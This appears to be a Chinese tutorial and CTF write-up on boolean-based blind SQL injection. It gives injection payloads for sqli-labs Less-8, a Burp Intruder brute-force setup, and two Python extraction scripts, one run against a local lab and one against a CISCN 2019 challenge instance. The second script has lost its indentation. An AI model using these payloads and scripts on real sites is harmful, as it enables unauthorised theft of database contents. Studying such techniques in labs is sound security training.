sql-布尔盲注

使用条件:

没有回显位,报错也不会回显有用信息,页面有真假值两种状态。


函数

ascii函数:

用ascii码转换的形式将字母转换为数字:

因为ascii函数只转换第一个字母,所以常需要配合substr函数

substr函数

用于从字符串中提取字符

substr(string, start, length)

string:要提取子串的原始字符串。

start:起始位置,指定从原始字符串的哪个索引开始提取子串。

lengh:可选参数,指定要提取的子串的长度。如果省略,则提取从起始位置到字符串末尾的所有字符。

limit函数

limit用于限制输出行的数量,如limit 1,3表示从第1行开始,输出3行,但是limit时从0开始数。

例:


盲注执行:

如查询命令:

?id=1' and ascii(substr((select database()),1,1))>=110 --+

意思是先查询库名,用substr从第一个开始一次返回一个字母,并用ascii转换为数字,与>=110进行验证,当正确是回显真页面,错误回显假页面。

常用脚本,手注的话常用二分法

下例中可知当前页面库名的第一个字母的ascii码大于110

然后改成120,返回假页面,所以当前页面库名的第一个字母的ascii码不大于120,所以在110~120之间

最后一步步验证得出当前页面库名的第一个字母的ascii码为115,即可知道当前页面库名的第一个字母为s

然后改substr函数中的参数,返回当前页面库名的第二个字母,按上面的步骤一步步来,直到拿到所有字母。

想执行其他查询语句就把select database()换成其他语句就行


盲注脚本

一般来说一个一个手注太麻烦了,都是用脚本

网上盲注的脚本也比较多,找几个做题时根据情况改就行了

import requests
def half(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 126
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(),%d,1))> %d-- " % (i, mid)
            params = {"id": payload}
            r = requests.get(url, params=params)
            if 'You are in' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) 
        if mid == 32:
            break
        name += chr(mid)
        print(name)


url = 'http://127.0.0.1/sql/Less-8/'
half(url)


bp爆破

用脚本主要是用循环改数字

这个功能bp爆破模块同样可以实现

例:sqli-labs-08

需要先判断下长度,不然要发的包太多了

比如我们需要爆数据库名

?id=1' and if(length(database())=1,1,0)=1--+

命令比较简单,利用length函数于if语句

类型设数值

结果如下图,很明显,长度是8

然后爆库名:

?id=1' and if(substr(database(),1,1)='a',1,0)=1--+

用集束炸弹模式

设两个payload

第一个长度,从1到八

第二个字母,字典包括0-8,a-z,A-Z,还有特殊字符

爆破结果

对比长度,看的出前面这些就是正确的了

按1-8组合一下就行:security

把大小写都爆出来了

感觉还是脚本好用

回显限制

有回显限制的问题,常用limit函数

比如:

?id=1' and ascii(substr((select username from users),1,1))

此时会把所有的username当合成一行来返回

但是回显有一定的数量限制,有时太长则无法全部返回

此时可以配合limit函数来一行一行的返回

?id=1' and ascii(substr((select username from users limit 0,1),1,1))


例题:

[CISCN 2019华北Day2]Web1

已经告诉了我们flag的位置

这样就省去了查库查表查列的步骤

先测试下

输入1,回显Hello, glzjin wants a girlfriend.

输入2,回显Do you want to be my girlfriend?

输入其他数字,都回显Error Occured When Fetch Result.

1‘回显bool(false)

1‘#回显SQL Injection Checked.

有过滤

fuzz跑一下

过滤了很多

但是bool盲注的函数都还在

因为输入1和2回显的内容不同,所以我们可以用一个if语句还判断

比如:

if(1=1,1,2)

if语句里有三个参数

第一个1=1是需要判断的语句,如果为真则返回第二个参数1,如果为假则返回第三个参数2

放到题目里试一下

先试下if(1=1,1,2)

因为1=1为真,所以if语句返回1,此时页面回显Hello, glzjin wants a girlfriend.

再试下if(1=2,1,2),此时1=2为假,if语句返回2,所以页面返回Do you want to be my girlfriend?

可以看到用if语句来控制真假的方法是可行的

所以,此时我们只需要将if语句里换成我们想要执行的查询语句即可

if(ascii(substr((select(flag)from(flag)),'1',1))='102',1,2)

因为flag的第一个肯定为f,对应十进制为102,所以此时返回1

把102换成其他的就返回2了

同理可以试一下第flag的第二个l,对应十进制为108

if(ascii(substr((select(flag)from(flag)),'2',1))='108',1,2)

所以没问题

但一个一个试肯定太慢了,所以用一个python脚本

import requests

flag = ''

url = 'http://50023ac3-de15-4731-adce-438ce6f6b106.node5.buuoj.cn:81/index.php'

for i in range(1, 50, 1):

for y in range(1, 128, 1):

payload = 'if(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))=' + str(y) + ',1,2)'

datas = {"id": payload}

content = requests.post(url, data=datas)

if "glzjin wants a girlfriend" in content.text:

flag = flag + chr(y)

print(flag)

break

抓包可以看到查询用的post传参,参数是id

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇